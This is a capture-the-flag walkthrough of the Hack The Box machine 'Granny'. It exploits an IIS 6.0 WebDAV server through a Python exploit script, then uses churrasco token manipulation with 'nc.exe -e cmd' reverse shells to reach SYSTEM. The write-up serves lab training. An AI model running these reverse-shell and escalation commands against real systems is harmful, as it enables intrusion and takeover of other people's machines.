# Granny HTB

IP

```
10.10.10.15
```

initial nmap scan

```
sudo nmap -p- --min-rate 10000 10.10.10.15 | cut -d"/" -f1 | tr '\n' ','
```

Looks like we have one port open on the machine&#x20;

`80`

Lets get enumerate further and see if we can find any other details

```
sudo nmap -sCV -p80 -oA nmap_scan 10.10.10.15
```

results

```
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
|_http-title: Under Construction
|_http-server-header: Microsoft-IIS/6.0
| http-methods: 
|_  Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
| http-webdav-scan: 
|   Server Type: Microsoft-IIS/6.0
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|   Server Date: Tue, 02 Jan 2024 02:37:59 GMT
|   WebDAV type: Unknown
|_  Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

We can see&#x20;

* Running Microsoft IIS httpd 6.0 (pretty outdated)
* webdav is enabled&#x20;

This does look very familiar to the grandpa box we have solved recently meaning i can try the same explaoit and gain a shell on the system&#x20;

1. Lets start a listner&#x20;

```
rlwrap -cAr nc -lvnp 9001
```

2. lets run the exploit script

```
python2 exploit.py 10.10.10.15 80 10.10.14.2 9001
```

Looking back at our listener we can see we have a shell on the target

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FKQ1I2ByniUrwfeJlGXgr%2Fimage.png?alt=media&#x26;token=782ebf38-895b-425f-b68b-2f7753689a15" alt=""><figcaption></figcaption></figure>

Since we know that the grandpa box was vulnerable to token manipulation good chances we have the same scenario here lets check

```
whoami /all
```

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2F0XJGLC8O1m0zceB4Ndfx%2Fimage.png?alt=media&#x26;token=62325556-33bd-4b35-99fc-2f06ec7aa671" alt=""><figcaption></figcaption></figure>

Looks like it so Lets upload&#x20;

* `nc.exe`
* `churrasco.exe`

1. start an smb server and transfer all the files across&#x20;

```
sudo python2 /opt/impacket-0.9.19/examples/smbserver.py shrek123 ./ -smb2support
```

2. copy the files across to the target machine&#x20;

```
C:\>copy \\10.10.14.2\shrek123\nc.exe C:\wmpub
C:\>copy \\10.10.14.2\shrek123\churrasco.exe C:\wmpub
```

3. start a listener

```
nc -lvnp 9005
```

4. run the exploits

```
churrasco.exe -d "c:\wmpub\nc.exe -e cmd 10.10.14.2 9005"
```

Now if we look back at our listner we should see we have a shell as nt authority\system

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FA9pS2OKe5r3zl5swvxpq%2Fimage.png?alt=media&#x26;token=062544b6-dada-482b-a03b-f09612c05f22" alt=""><figcaption></figcaption></figure>
